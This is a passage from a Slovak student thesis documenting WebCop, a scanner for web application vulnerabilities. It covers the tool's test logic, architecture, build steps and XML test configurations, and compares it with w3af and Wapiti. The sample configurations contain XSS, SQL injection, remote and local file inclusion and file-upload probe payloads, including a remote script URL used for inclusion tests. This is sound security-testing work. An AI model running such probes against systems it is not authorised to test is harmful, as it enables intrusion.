(Verifika´cia SMS ko´dom). Tento algoritmus testovania, ktory´ som tu pop´ısal
sa mi zdal ako rozumny´ kompromis medzi ty´m cˇo sa da´ relat´ıvne jednoducho
naimplementovat’ a pocˇetnost’ou vy´skytu tzv. false positives s ohl’adom na
situa´ciu dnes bezˇny´ch webovy´ch aplika´cii.
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4.1.4 Remote File Inclusion
Pri definovan´ı testov tejto zranitel’nosti uzˇ´ıvatel’ nadefinuje HTTP get para-
metre, pomocou ktory´ch chce sku´sˇat’ inkludovanie svojho skriptu do webovej
aplika´cie. Dˇalej zada´ adresu svojho skriptu a kontrolny´ ret’azec, pomocou
ktore´ho bude na´stroj zist’ovat’ cˇi sa skript skutocˇne zinterpretoval.
Kedykol’vek na´stroj pri prehl’ada´van´ı sˇtruktu´ri webovej aplika´cie na´jde URL
adresu v ktorej je pouzˇity´ asponˇ jeden z definovany´ch GET parametrov, do-
sad´ı za jeho hodnotu adresu definovane´ho skriptu. V odpovedi na vy´sledny´
HTTP get dotaz skontroluje, cˇi sa tam nacha´dza urcˇeny´ ret’azec.
4.1.5 Local File Inclusion
Testovanie zranitel’nost´ı LFI sa preva´dza rovnaky´m spoˆsobom ako testo-
vanie zranitel’nost´ı RFI. Rozdiel je v tom zˇe uzˇ´ıvatel’ pri konfigura´cii testu
zranitel’nosti LFI ma´ mozˇnost’ ako hodnotu parametru ktora´ sa ma´ dosadit’
za potencia´lne nebezpecˇne´ GET parametre uviest’ znak @. Tento znak bude
zastupovat’ meno skriptu, ktory´ sa pra´ve testuje.
4.1.6 File Upload Vulnerabilities
Pri konfigurovan´ı testu na tento typ zranitel’nosti uzˇ´ıvatel’ definuje su´bor,
ktory´ sa ma na´stroj poku´sit’ uploadnut’ kedykol’vek na´jde vo webovej ap-
lika´cii formula´r ktory´ to umozˇnˇuje. Dˇalej uzˇ´ıvatel’ urcˇ´ı URL adresy, kde by
na serveri mohol uploadnuty´ su´bor byt’ k dispoz´ıcii. Pri konfigura´ci´ı takisto
uzˇ´ıvatel’ definuje unika´tny ret’azec ktory´ je su´cˇast’ou uploadovane´ho su´boru.
Potom cˇo na´stroj uploadne urcˇeny´ su´bor, vysku´sˇa HTTP get pozˇiadavky na
sˇpecifikovane´ URL adresy. Ak ako odpoved’ na taky´to pozˇiadavok dostane
dokument obsahuju´ci urcˇeny´ ret’azec, na´stroj vyhodnot´ı tento test pozit´ıvne.
4.2 Softwarova´ architektu´ra
Na´stroj obsahuje vlastnu´ implementa´ciu potrebnej podmnozˇiny protokolu
HTTP 1.1. Ta´to komunika´cia je zapu´zdrena´ v triede HTTPClient. K par-
sovaniu XML konfigura´cie je pouzˇita´ knizˇnica expat. K siet’ovej komunika´cii
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na u´rovni protokolu TCP vyuzˇ´ıva tento na´stroj syste´move´ volania UNIXu.
Na´stroj je viacvla´knovy´, k spra´ve vla´kien pouzˇ´ıva pthreads API.
Cely´ proces testovania webovej aplika´cie zapu´zdruje trieda TestingSystem
deklarovana´ v su´bore TestingSystem.h. Ta´to trieda si drzˇ´ı v STL kontajneri
std::vector referencie na objekty typu AbstractTester, cˇo je abstraktna´ trieda
z ktorej dedia objekty reprezentuju´ce jednotlive´ testy. Trieda TestingSystem
obsahuje aj referenciu na objekt typu WebCrawler, cˇo je trieda zapu´zdruju´ca
proces prehl’ada´vania sˇtruktu´ry webovej aplika´cie.
Po sˇtarte programu spust´ı TestingSystem na triede WebCrawler preihl’ada´-
vanie webovej aplika´cie podl’a parametrov konfigura´cie programu. Azˇ tento
proces skoncˇ´ı, zacˇne trieda TestingSystem podl’a povahy nakonfigurovany´ch
testov spu´sˇt’at’ jednotlive´ testy. Na konci programu trieda TestingSystem
vyp´ıˇse do vy´stupne´ho su´boru zoznam na´jdeny´ch zranitel’nost´ı.
Trieda WebCrawler prehl’ada´va sˇtruktu´ru webovej aplika´cie syste´mom Bre-
adth First Search. Na´jdene´ URL adresy aplika´cie si uchova´va v STL kontaj-
neri set. Tento sˇablonovany´ kontajner je parametrizovany´ typom URLEntry
ktory´ reprezentuje jednotlive´ URL adresy. Ta´to trieda obsahuje o URL ad-
rese d’alˇsie informa´cie, ako napr´ıklad naparsovane´ GET parametre, cˇi URL
kde sa ta´to adresa vo webovej aplika´cii nasˇla. WebCrawler si v STL kontaj-
neri queue udrzˇuje frontu itera´torov na objekty UrlEntry nacha´dzaju´ce sa
v spomı´nanom mnozˇinovom kontajneri set. Vzˇdy ked’ sa na´jde nova´ URL
adresa, vlozˇ´ı sa do spomı´nanej mnozˇiny. Itera´tor na tento novo vzniknuty´
objeku URLEntry sa vlozˇ´ı do spomı´nanej fronty. Samotne´ prehl’ada´vanie
do sˇ´ırky sa realizuje postupny´m vyberan´ım itera´torov na URL adresy zo
zacˇiatku fronty a na´sledny´m ukladan´ım itera´torov na nove´ adresy na koniec
fronty. Tento proces je zna´zorneny´ na nasleduju´cich obra´zkoch.
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Obr. 4.1: WebCrawler obsahuje 4 URL adresy.
Na tomto obra´zku je zobrazeny´ stav, ked’ WebCrawler pri prehl’ada´van´ı
sˇtruktu´ri webovej aplika´cie nasˇiel sˇtyri URL adresy. Na kazˇdu´ z ty´chto ad-
ries ma´ vo fronte itera´tor.
Obr. 4.2: WebCrawler pri prehl’ada´van´ı do sˇ´ırky o krok d’alej.
Pri d’alˇsiom prehl’ada´van´ı sa z fronty vybral prvy´ prvok a prehl’adal sa HTML
dokument na odpovedaju´cej URL adrese. Na nˇom sa nasˇli odkazy na d’alˇsie
dve URL adresy (URL5 a URL6). Tieto nove´ adresy sa pridali do mnozˇiny
adries a itera´tory k ty´mto novy´m prvkom sa pridali na koniec fronty.
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Jednotlive´ testy na zranitel’nosti webovy´ch aplika´ci´ı su reprezentovane´ sa-
mostatny´mi triedami. (Vy´nimkou su´ testy na zranitel’nosti RFI a LFI, ktore´
su´ reprezentovane´ jednou triedou RFITester) Tieto triedy su´ usporiadane´ v
nasleduju´cej hierarchii:
Obr. 4.3: Triedy reprezentuju´ce webove´ zranitel’nosti.
Take´to usporiadanie umozˇnuje triede TestingSystem manipulovat’ s objek-
tami reprezentuju´cimi jednotlive´ webove´ zranitel’nosti polymorfny´m spoˆsobom.
Okrem toho, zˇe tieto objekty su´ potomkami triedy AbstractTester, dedia
pr´ıslusˇne´ triedy aj z triedy HTTPClient. To ty´mto objektom prida´va po-
trebnu´ funkcionalitu na preva´dzanie testov webovy´ch zranitel’nost´ı. Konkre´tne
zacˇlenenie napr´ıklad objektu XSSTester do hierarchie tried vyzera´ takto:
Obr. 4.4: Trieda XSSTester.
Na´stroj na viacery´ch miestach ko´du vyuzˇ´ıva callback funkcie. Napr´ıklad
taky´mto spoˆsobom trieda WebCrawler signalizuje koniec procesu prehl’ada´vania
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webovej aplika´cie. Podobne objekty reprezentuju´ce jednotlive´ testy signali-
zuju´ callback funkciou koniec testu. Tento pojem callback funkcie je zapu´zdreny´
v sˇablone CallBackFunction, ktora´ je parametrizovana´ triedou, ktorej mem-
ber funkciu tento callback reprezentuje.
Podobne vysˇsˇie spomı´nana´ trieda WebCrawler je v skutocˇnosti implemen-
tovana´ ako sˇablona parametrizovana´ triedou, ktorej member funkciu WebC-
rawler zavola´ po skoncˇen´ı prehl’ada´vania webovej aplika´cie. V ko´de je ta´to
sˇablona parametrizovana´ jednak triedou TestingSystem - kedy WebCrawler
informuje TestingSystem o skoncˇen´ı prehl’ada´vania, jednak triedou CSRF-
Tester, ktory´ pouzˇ´ıva vlastny´ WebCrawler na prehl’adanie cˇasti webovej ap-
lika´cie chra´nenej autentifika´ciou. Zacˇlenenie sˇablony WebCrawler do hierar-
chie tried vyzera´ nasledovne:
Obr. 4.5: Sˇablona WebCrawler.
Ako je zrejme´ z predcha´dzaju´cich obra´zkov, trieda HTTPClient je potom-
kom triedy AbstractSocketClient. Trieda AbstractSocketClient zapu´zdruje
riadenie TCP spojen´ı. Umozˇnˇuje vytva´ranie novy´ch spojen´ı (vra´tane sˇpe-
cifikovania connection timeoutu), ich rusˇenie, odosielanie da´t a pri vy´skyte
urcˇity´ch udalost´ı (pr´ıchod da´t zo serveru) vyvola´ pr´ıslusˇne obsluzˇne´ virtua´lne
funkcie, ktore´ implementuju´ klienti tejto triedy.
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Kapitola 5
Uzˇ´ıvatel’ska´ dokumenta´cia
5.1 Za´kladne´ informa´cie
5.1.1 Softwarove´ pozˇiadavky
Na´stroj WebCop je naimplementovany´ pre platformu UNIX, vyuzˇ´ıva knizˇnicu
jazyka C expat na pra´cu s XML datami. Pre u´spesˇne´ skompilovanie a riadne
fungovanie ma´ ta´to aplika´cia nasleduju´ce pozˇiadavky:
1. Platforma UNIX
2. Prekladacˇ jazyka C++
3. GNU make
4. expat XML library
5. POSIX threads
6. Doxygen (Pre programa´torsku´ dokumenta´ciu)
5.1.2 Adresa´rova´ sˇtruktu´ra
Su´bory, ktore´ su´ su´cˇast’ou na´stroja su´ usporiadane´ podl’a nasleduju´cej hie-
rarchie:
• Hlavny´ adresa´r
– build - Adresa´r do ktore´ho sa kompiluju´ zdrojove´ su´bory.
– doc - Obsahuje dokumenta´ciu
∗ user - Uzˇ´ıvatel’ska´ dokumenta´cia
∗ programmer - Programa´torska´ dokumenta´cia
– examples - Pr´ıklady konfiguracˇny´ch su´borov
∗ config - Konfiguracˇne´ su´bory config
∗ data - datovy´ su´bor, vyuzˇ´ıa sa pri testovan´ı upload zrani-
tel’nost´ı.
∗ input - Konfiguracˇne´ su´bory input.txt
∗ output - Pr´ıklady vy´stupov
– src - Obsahuje zdrojove´ ko´dy
5.2 Kompila´cia
Zdrojove´ ko´dy su´ su´cˇast’ou CD, pr´ıpadne je mozˇne´ ich stiahnut’ z SVN
arch´ıvu na adrese
https://webcop.svn.sourceforge.net/svnroot/webcop.
V za´kladnom adresa´ri sa nacha´dza skript configure. Je vygenerovany´ pomo-
cou na´stroja GNU autoconf. Pr´ıkazom ./configure sa z predloˆh Makefile.in
vygeneruju´ su´bory makefile potrebne´ pre u´spesˇne´ skompilovanie zdrojovy´ch
ko´dov. Do pr´ıslusˇne´ho makefile su´boru sa pritom dopln´ı cesta ku knizˇnici
expat. (Sˇtandardne /usr, pr´ıpadne /usr/local). V pr´ıpade, zˇe knizˇnica expat
nebola nainsˇtalovana´ do defaultne´ho adresa´ra, je potrebne´ tu´to cestu uviest’
v parametri –with-expat skriptu configure.
Pr´ıklad: knizˇnica expat bola nainsˇtalovana´ do adresa´ra /usr/home/pepo/expat.
Potrebne´ su´bory makefile vygenerujeme pr´ıkazom
./configure –with-expat=/usr/home/pepo/expat.
Pr´ıkazom ./configure sa vygenerovali v za´kladnom adresa´ri okrem su´boru
Makefile aj su´bory config.status a config.log. Config.status umozˇnˇuje znovu
vygenerovat’ pr´ıslusˇne´ makefile su´bory, su´bor config.log obsahuje predovsˇety´m
debugovacie informa´cie.
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Na´sledne pr´ıkazom make skompilujeme zdrojove´ ko´dy do spustitel’ne´ho prog-
ramu tester. Je nutne´ pouzˇit’ GNU make. Na GNU/linuxe je to pr´ıkaz make.
na FreeBSD, OpenBSD je to pr´ıkaz gmake.
5.2.1 Makefile - ciele
Su´bor Makefile nacha´dzaju´ci sa v za´kladnom adresa´ri ma´ pripravene´ nasle-
duju´ce ciele:
• all - Defaultny´ ciel’. Skompiluje zdrojove´ ko´dy do spustitel’ne´ho prog-
ramu.
• clean - Zmazˇe skompilovane´ su´bory.
• debug - Skompiluje zdrojove´ ko´dy do spustitel’ne´ho programu. Ten
bude obsahovat’ aj debugovacie informa´cie.
• depend - Do makefilu vygeneruje za´vislosti zdrojovy´ch su´borov spoˆsobene´
direkt´ıvami preprocesora #include. (Pre u´cˇely programa´tora)
• distclean - Zmazˇe skompilovane´ su´bory a su´bory vygenerovane´ skrip-
tom configure. Zmazˇe aj programa´torsku´ dokumenta´ciu.
• doc - Vygeneruje programa´torsku´ dokumenta´ciu. (Vyzˇaduje doxygen)
• docclean - Zmazˇe programa´torsku´ dokumenta´ciu.
5.3 Konfigura´cia - beh programu
Na´stroj WebCop potrebuje k spustreniu dve konfiguracˇne´ su´bory. Musia sa
nacha´dzat’ v adresa´ri so spustitel’ny´m su´borom. Ide o su´bory config a in-
put.txt.
Su´bor config obsahuje za´kladne´ informa´cie popisuju´ce kde sa maju´ webove´
zranitel’nosti hl’adat’. Tento su´bor obsahuje riadky typu PARAM=VALUE,
kde PARAM je na´zov konfigurovane´ho parametru a VALUE je jeho hod-
nota. Riadky zacˇ´ınaju´ce sa # sa ignoruju´. Nasleduje vy´pis konfiguracˇny´ch
parametrov.
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• domain - Internetova´ dome´na, kde sa nacha´dza testovana´ webova´ ap-
lika´cia.
• url - Pocˇiatocˇna´ URL adresa webovej aplika´cie. Prehl’ada´vanie dome´ny
zacˇne z tejto adresy.
• output - Meno vy´stupne´ho su´boru. Bude obsahovat’ popis na´jdeny´ch
webovy´ch zranitel’nost´ı.
• depth - Limit na h´lbku BFS prehl’ada´vania webovy´ch stra´nok aplika´cie.
Ak je nastaveny´ na za´porne´ cˇ´ıslo, dome´na sa prehl’ada´ cela´.
• crawlStop - Pauza v sekunda´ch pred prehl’ada´van´ım d’alˇsiej webovej
stra´nky
• workStop - Pauza v sekunda´ch pred testovan´ım d’alˇsiej zranitel’nosti.
5.4 Konfigura´cia - testovanie zranitel’nost´ı.
Konfigura´cia testovany´ch zranitel’nost´ı je vo forma´te XML v su´bore in-
put.txt. Ak hodnota nejake´ho atribu´tu ma´ obsahovat’ sˇpecia´lny znak, mus´ı
sa pouzˇit’ odpovedaju´ca XML entita. Kazˇda´ zranitel’nost’ je definovana´ po-
mocou pa´rove´ho tagu vulnerability :
<vulnerability type=”typ” id=”id”> </vulnerability>
Parameter typ urcˇuje typ testovanej zranitel’nosti, parameter id definuje
identifika´tor definovane´ho testu.
5.4.1 XSS
Testy zranitel’nost´ı XSS su´ definovane´ podl’a nasleduju´cej sche´my:
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<vulneriability type=”xss” id=”ID”>
Tu sa nacha´dzaju´ pravidla´, ako ma´ na´stroj vyp´lnˇat’ webove´
formula´re. Kazˇde´ pravidlo ide na samostatny´ riadok.
<success>
Tu sa nacha´dzaju´ podmienky. Ak je splnena´ asponˇ jedna,
vy´sledok sa vyhodnot´ı ako XSS zranitel’nost’.
Kazˇda´ podmienka ide na samostatny´ riadok.
</success>
</vulnerability>
Pravidla´ na vyp´lnˇanie webovy´ch formula´rov mozˇu byt’ sˇpecificke´ alebo vsˇeo-
becne´. Vsˇeobecne´ pravidlo znamena´, zˇe vsˇetky´m prvkom dane´ho webove´ho
formula´ra sa nastav´ı hodnota value na urcˇenu´ hodnotu. Sˇpecificke´ pravidlo
urcˇuje hodnotu atribu´tu value iba pre vybrany´ element webove´ho formula´ra.
Sˇpecificke´ pravidlo ma´ vysˇsˇiu prioritu ako vsˇeobecne´ pravidlo. Vsˇeobecne´
pravidlo ma´ forma´t:
<input type=”any” value=”hodnota” />
Sˇpecificke´ pravidlo ma´ forma´t:
<input type=”element” value=”hodnota” />
Kde element znacˇ´ı vybrany´ HTML element webove´ho formula´ra. V pr´ıpade,
zˇe ako hodnota je uvedeny´ znak *, ponecha´ sa dane´mu prvku poˆvodna´ hod-
nota.
Podmienky urcˇuju´ textovy´ ret’azec, ktory´ sa mus´ı nacha´dzat’ na webovej
stra´nke zobrazenej ako vy´sledok odoslane´ho formula´ra. Tento ret’azec sa na-
viac mus´ı nacha´dzat’ v spustitel’nej podobe. (Nie je zakomentovany´ a nie je
chra´neny´ uvodzovkami) Podmienka ma´ forma´t:
<contains value=”hodnota” />
Nasleduje kompletny´ pr´ıklad konfigura´cie testu na XSS zranitel’nost’.
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<vulneriability type=”xss” id=”1”>
<input type=”text” value=”&lt;script&gt;alert(34)&lt;/script&gt;”/>
<input type=”hidden” value=”*” />
<success>
<contains value=”&lt;script&gt;alert(34)&lt;/script&gt;” />
</success>
</vulnerability>
5.4.2 SQL injection
Defin´ıcia testu na SQL injekciu je obdobna´ testu na XSS zranitel’nost’:
<vulneriability type=”sql” id=”ID”>
Tu sa nacha´dzaju´ pravidla´, ako ma´ na´stroj vyp´lnˇat’ webove´
formula´re. Kazˇde´ pravidlo ide na samostatny´ riadok.
<success>
Tu sa nacha´dzaju´ podmienky. Ak je splnena´ asponˇ jedna,
vy´sledok sa vyhodnot´ı ako XSS zranitel’nost’.
Kazˇda´ podmienka ide na samostatny´ riadok.
</success>
</vulnerability>
Pravidla´ na vyp´lnˇanie webovy´ch formula´rov su´ rovnake´ ako pri zranitel’nosti
XSS.
Podmienky urcˇuju´ textovy´ ret’azec, ktory´ sa mus´ı nacha´dzat’ na webovej
stra´nke zobrazenej ako vy´sledok odoslane´ho formula´ra. Podmienka ma´ rov-
naky´ forma´t ako v pr´ıpade XSS zranitel’nosti. Uzˇ sa ale nekontroluje cˇi sa
urcˇeny´ textovy´ ret’azec na webovej stra´nke nacha´dza v spustitel’nej podobe.
5.4.3 Cross Site Request Forgery
Defin´ıcia testu na CSRF sa riadi nasleduju´cou sche´mou:
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<vulneriability type=”csrf” id=”ID”>
<csrf login=”tester” pwd=”secretPassword”
loginurl=”http://profinzer.zaridi.to” />
<skip>
Tu sa nacha´dzaju´ vzroy URL adries,
ktore´ sa pri prehl’ada´van´ı vynechaju´.
</skip>
</vulnerability>
Login tester a heslo secretPassword sa nahradia platny´mi prihlasovac´ımi
u´dajmi. Takisto ako parameter loginurl sa uvedie pr´ıslusˇna´ adresa HTML
dokumentu s prihlasovac´ım formula´rom.
Aby pri prehl’ada´van´ı cˇasti webovej aplika´cie ktora´ je chra´nena´ heslom nedosˇlo
k nezˇelany´m akcia´m, je nutne´ uviest’ vzory URL adries, ktore´ sa z prehl’ada´vania
vylu´cˇia. Vzory URL adries sa zada´vaju´ vo forma´te:
<url pattern=”hodnota” />
Nasleduje pr´ıklad konfigura´cie testu na CSRF zranitel’nosti:
<vulneriability type=”csrf” id=”3”>
<csrf login=”tester” pwd=”secretPassword”
loginurl=”http://profinzer.zaridi.to” />
<skip>
<url pattern=”logout” />
<url pattern=”logoff” />
<url pattern=”unregister” />
</skip>
</vulnerability>
5.4.4 Remote File Inclusion
Defin´ıcia testu na RFI zranitel’nost’ vyzera´ nasledovne:
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<vulneriability type=”rfi” id=”ID”>
<getparam name=”param names” value=”url” />
<success>
<contains value=”unique id” />
</success>
</vulnerability>
Pricˇom param names obsahuje zoznam (oddelene´ cˇiarkou) potencia´lne ne-
bezbecˇny´ch get parametrov. url je adresa na´sˇho skriptu, ktory´ vyp´ıˇse unika´tny
ret’azec unique id.
5.4.5 Local File Inclusion
Cˇi sa podarilo stiahnut’ zdrojovy´ (php) su´bor aplika´cie sa da´ testovat’ pomo-
cou pr´ıtomnosti sˇpecia´lnych symbolov konkre´tneho jazyka. (Napr´ıklad pre
php je to <? ) Test na formula´re urcˇene´ pre st’ahovanie su´borov zo serveru
moˆzˇe vyzerat’ napr´ıklad takto:
<vulneriability type=”lfi” id=”4”>
<getparam name=”file,fileName” value=”@” />
<success>
<contains value=”&lt;?” />
</success>
</vulnerability>
5.4.6 Upload vulnerabilities
Konfigura´cia testov na testovanie skriptov urcˇeny´ch pre html upload sa riadi
touto sche´mou:
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<vulneriability type=”upload” id=”ID”>
Tu sa definuju´ informa´cie o loka´lnom su´bore, ktory´ uploadujeme.
<success>
Tu sa uva´dza zoznam URL adries, na ktory´ch
by uploadnuty su´bor mohol byt’ k dispoz´ıcii.
Kazˇda´ adresa ide na samostatny´ riadok.
Dˇalej sa tu definuje textovy´ ret’azec, ktory´
sa na danej webovej stra´nke mus´ı nacha´dzat’.
</success>
</vulnerability>
O loka´lnom su´bore, ktory´ chceme uploadovat’ sˇpecifikujeme jeho meno a jeho
mime1 typ. Tieto informa´cie zada´vame vo forma´te kompatibilny´m s pravid-
lami na vyp´lnˇanie webovy´ch formula´rov pri definovan´ı testov zranitel’nost´ı
ako XSS, SQL injection. Presny´ forma´t je taky´to:
<input type=”file” value=”fileName” mime=”mimeType” />
URL adresy v tagu <success> sa definuju´ nasledovne:
<url value=”adresa” />
Kde adresa je dana´ url adresa. Textovy´ ret’azec definujeme nasledovne:
<contains value=”uniqueString” />
Kde uniqueString je sˇpecifikovany´ unika´tny ret’azec. Kompletna´ konfigura´cia
testu na zranitel’nost’ upload skriptu moˆzˇe vyzerat’ nasledovne:
1Multipurpose Internet Mail Extensions
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<vulneriability type=”upload” id=”5”>
<input type=”file” value=”examples/data/hello.php”
mime=”text/plain” />”
<success>
<url value=”upload/hello.php” />
<url value=”Upload/hello.php” />
<url value=”uploads/hello.php” />
<url value=”Uploads/hello.php” />
< contains value=”9876543210” />
</success>
</vulnerability>
5.5 Vy´stup
Vy´stupny´ su´bor tohto na´stroja je urcˇeny´ v konfiguracˇnom su´bore config. Pre
kazˇdu´ zaznamenanu´ zranitel’nost’ obsahuje vy´stupny´ su´bor XML element vo
forma´te:
<vulnerability type=”type”
url=”url”
id=”id”
formname=”formname”
formid=”formid”
formaction=”formaction” />
Vy´znam jednotlivy´ch parametrov elementu vulnerability je nasledovny´:
• url - Url adresa na ktorej sa zranitel’nost’ nacha´dza.
• id - Id zranitel’nosti. Podl’a neho je mozˇne´ spa´rovat’ zranitel’nost’ na´jdenu´
na webe s popisom zranitel’nosti v su´bore input.txt
• formname - Hodnota atribu´tu name zranitel’ne´ho HTML formula´ra.
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• formid - Hodnota atribu´tu id zranitel’ne´ho HTML formula´ra.
• formaction - Hodnota atribu´tu action zranitel’ne´ho HTML formula´ra.
5.6 Uka´zˇka behu programu
S na´strojom su´ distribuovane´ predvyplnene´ konfiguracˇne´ su´bory, ktore´ su´ na-
stavene´ tak zˇe po spusten´ı programu sa zacˇne testovat’ modelova´ aplika´cia
na adrese http://profinzer.zaridi.to/. Testovanie tejto aplika´cie teda
spust´ıme pr´ıkazom:
./tester
Po spusten´ı programu sa zacˇne preva´dzat’ samotny´ test. V za´vislosti na
vel’kosti webovej aplika´cie moˆzˇe trvat’ roˆzne dlho. Cely´ program je mozˇne´
kedykol’vek ukoncˇit’ stlacˇen´ım kla´vesy enter. Po skoncˇen´ı testovania program
na sˇtandardny´ vy´stup vyp´ıˇse hla´sˇku Press enter to exit. Po jeho stlacˇen´ı sa
na sˇtandardny´ vy´stup vyp´ıˇse zoznam skenovany´ch URL adries a program
skoncˇ´ı.
Na jednoduchsˇiom pr´ıklade uka´zˇem pra´cu s ty´mto programom, od konfi-
gura´cie cez beh programu azˇ po vyhodnotenie vy´sledkov. Na tomto de-
monsˇtracˇnom pr´ıklade sa zameriam iba na chyby RFI a SQL injection.
Konfiguracˇny´ su´bor config vyzera´ takto:
domain=profinzer.zaridi.to
url=http://profinzer.zaridi.to
output=output.txt
depth=-1
crawlStop=1
workStop=1
Ta´to konfigura´cia sˇpecifikuje, zˇe testovat’ sa budu´ iba skripty vra´mci dome´ny
profinzer.zaridi.to. Dˇalej je uvedena´ u´vodna´ stra´nka testovanej webovej ap-
lika´cie. Nasleduje meno su´boru ktory´ bude obsahovat’ za´verecˇnu´ spra´vu o
na´jdeny´ch zranitel’nostiach. Pretozˇe parameter depth ma´ hodnotu za´porne´ho
cˇ´ısla, aplika´cia sa bude prehl’ada´vat’ cela´, h´lbka prehl’ada´vania nebude ob-
medzena´. Parameter crawlStop urcˇuje, zˇe pocˇas prehl’ada´vania webovej ap-
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lika´cie sa pred skokom na nasleduju´ci dokument vo fronte pocˇka´ 1 sekundu.
Podobne parameter workStop urcˇuje pauzu v sekunda´ch medzi testovan´ım
jednotlivy´ch zranitel’nosti.
Konfiguracˇny´ su´bor input.txt obsahuje defin´ıcie testov na zranitel’nosti RFI
a SQL injection. V RFI teste je sˇpecifikovana´ adresa http://rocnikac.
100webspace.net/index.txt, kde sa nacha´dza php skript ktory´ vyp´ıˇse ob-
sah su´boru index.php. Okrem toho vyp´ıˇse aj ret’azec ”index.php listing –
start”.
<vulnerability type=”sql” id=”1”>
<input type=”any” value=”pepo&quot; order” />
<input type=”hidden” value=”*” />
<success>
<contains value=”Warning” />
<contains value=”MySQL result” />
</success>
</vulnerability>
<vulnerability type=”rfi” id=”ID”>
<getparam name=”file,myurl,page”
value=”http://rocnikac.100webspace.net/index.txt” />
<success>
<contains value=”index.php listing – start” />
</success>
</vulnerability>
Pocˇas behu program vypisuje na sˇtandardny´ vy´stup roˆzne informa´cie. Nasle-
duje uka´zˇka vy´stupu programu pocˇas fa´zy prehl’ada´vania webovej aplika´cie:
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========================================
Number of URLs found so far: 1
Next url: http://profinzer.zaridi.to
Counter: 0
Queue size: 0
========================================
Sleeping for 1 seconds.
Connection terminated by remote server
profinzer.zaridi.to
Searching http://profinzer.zaridi.to
Dˇalej priklada´m uka´zˇku vy´stupu programu pocˇas samotne´ho testovania:
Trying to get http://profinzer.zaridi.to
Connection terminated by remote server
state: loading forms
url: http://profinzer.zaridi.to
Filling xss forms 0
Connection terminated by remote server
state: checking forms
url: http://profinzer.zaridi.to
Checking for SQL injection on url http://profinzer.zaridi.to
SQL injection detected !!!
Po skoncˇen´ı testu sa spra´va o na´jdeny´ch zranitel’nostiach nacha´dza v su´bore
output.txt. Tento su´bor vyzera´ nasledovne:
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<vulnerability type=”sql” url=”http://profinzer.zaridi.to” id=”1”
formname=””
formaction=”http://profinzer.zaridi.to/login.php”
formid=”hidden” />
<vulnerability type=”sql” url=”http://profinzer.zaridi.to” id=”1”
formname=””
formaction=”http://profinzer.zaridi.to/index.php” formid=”” />
<vulnerability type=”sql” url=”http://profinzer.zaridi.to/index.php” id=”1”
formname=””
formaction=”http://profinzer.zaridi.to/login.php” formid=”row” />
<vulnerability type=”sql” url=”http://profinzer.zaridi.to/index.php” id=”1”
formname=””
formaction=”http://profinzer.zaridi.to/index.php” formid=”” />
<vulnerability type=”rfi” url=”http://profinzer.zaridi.to/vuln2.php”
id=”2” />
Z tohto vy´stupu sa da´ usu´dit’, zˇe na´stroj WebCop nasˇiel v nasˇej webovej
aplika´cii jednu RFI zranitel’nost’ a 4 SQL Injection zranitel’nosti. Pri po-
zornejˇsiom prezret´ı vy´stupu je jasne´, zˇe v skutocˇnosti boli odhalene´ iba dve
zranitel’nosti SQL injection. Na kazˇdu´ z ty´chto zranitel’nost´ı na´stroj natrafil
dvakra´t, totizˇ z dvoch roˆznych URL adries.
39
Kapitola 6
Porovnanie s existuju´cimi
riesˇeniami
6.1 w3af - Web Application Attack and Au-
dit Framework
Ako prvu´ vy´hodu na´stroja w3af oproti na´stroju WebCop vid´ım jeho platfor-
movu´ neza´vislost’, ked’zˇe je nap´ısany´ v Pythone. Na´stroj WebCop je urcˇeny´
pre platformu unix a je nap´ısany v jazyku C++. Na druhej strane je insˇtalacˇny´
proces na´stroja WebCop jednoduchsˇ´ı, pretozˇe nevyzˇaduje insˇtala´ciu take´ho
mnozˇstva knizˇn´ıc tret´ıch stran.
Dalˇsiou vy´hodou na´stroja w3af je va¨cˇsˇie mnozˇstvo typov webovy´ch zrani-
tel’nost´ı, ktore´ pokry´va. Na´stroj WebCop momenta´lne pokry´va zranitel’nosti
XSS, SQL injection, RFI, LFI, CSRF a upload vulnerabilities. Samozrejme
je mozˇne´ na´stroj WebCop rozsˇ´ırit’ o d’alˇsie typy zranitel’nost´ı webovy´ch ap-
lika´ci´ı.
Ako nevy´hodu frameworku w3af oproti na´stroju WebCop vid´ım to, zˇe uzˇ´ıvatel’
po nakonfigurovan´ı testov nema´ prakticky zˇiaden prehl’ad o tom, ake´ HTTP
requesty tento testovac´ı na´stroj skutocˇne vyvola´. V na´stroji WebCop je z
uzˇ´ıvatel’skej konfigura´cie priblizˇna´ sˇtruktu´ra HTTP dotazov zrejma´.
S ty´m su´vis´ı d’alˇsia vy´hoda na´stroja WebCop - konfigurovatel’nost’ na u´rovni
jednotlivy´ch testov. Uzˇ´ıvatel’ w3af napr´ıklad nema´ mozˇnost’ definovat’ SQL
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/ XSS injection vektory, ktore´ sa pri testovan´ı maju´ pouzˇit’. To znamena´ aj
to, zˇe ak chce uzˇ´ıvatel’ do na´stroja pridat’ novy´ XSS vektor, mus´ı upravit’
zdrojovy´ ko´d pr´ıslusˇne´ho pluginu.
Dˇalˇs´ı rozdiel vid´ım v spoˆsobe testovania CSRF zranitel’nost´ı. Podl’a ko-
menta´rov v zdrojovy´ch ko´doch pr´ıslusˇne´ho pluginu sa da´ zistit’, zˇe na´stroj
w3af odosˇle formula´r, a v pr´ıpade zˇe webova´ aplika´cia vra´ti perzistentne´
cookie, hodnot´ı test za u´spesˇny´. Ja taky´to pr´ıstup hodnot´ım za nebezpecˇny´,
hlavne v pr´ıpade ak pouzˇ´ıvatel’ netestuje webovu´ aplika´ciu, ktorej je sa´m
aj administra´torom. Napr´ıklad otestovanie aplika´cie typu internet banking
taky´mto spoˆsobom by mohlo mat’ pre uzˇ´ıvatel’a katastrofa´lne na´sledky. Ta-
kisto by sa dalo polemizovat’ o tom, nakol’ko je odoslanie perzistentne´ho co-
okie indika´torom u´spesˇne´ho prevedenia CSRF u´toku. Ja som v na´stroji Web-
Cop zvolil opatrnejˇs´ı pr´ıstup a to ty´m zˇe testovane´ formula´re na CSRF zra-
nitel’nosti voˆbec neodosielam, len ich analyzujem na pr´ıtomnost’ na´hodny´ch
tokenov.
6.2 Wapiti
Spolocˇnou cˇrtou na´stroja Wapiti, projektu w3af a na´stroja WebCop je, zˇe
zˇiaden z ty´chto na´strojov neza´vis´ı na externej databa´ze nejaky´ch zna´mych
zranitel’nost´ı, ale tieto zranitel’nosti sami vyhl’ada´vaju´. Podobne ako projekt
w3af, aj Wapiti je nap´ısany v Pythone, cˇo so sebou prina´sˇa urcˇitu´ plat-
formovu´ neza´vislost’. Na druhej strane, podobne ako v predchadzaju´com
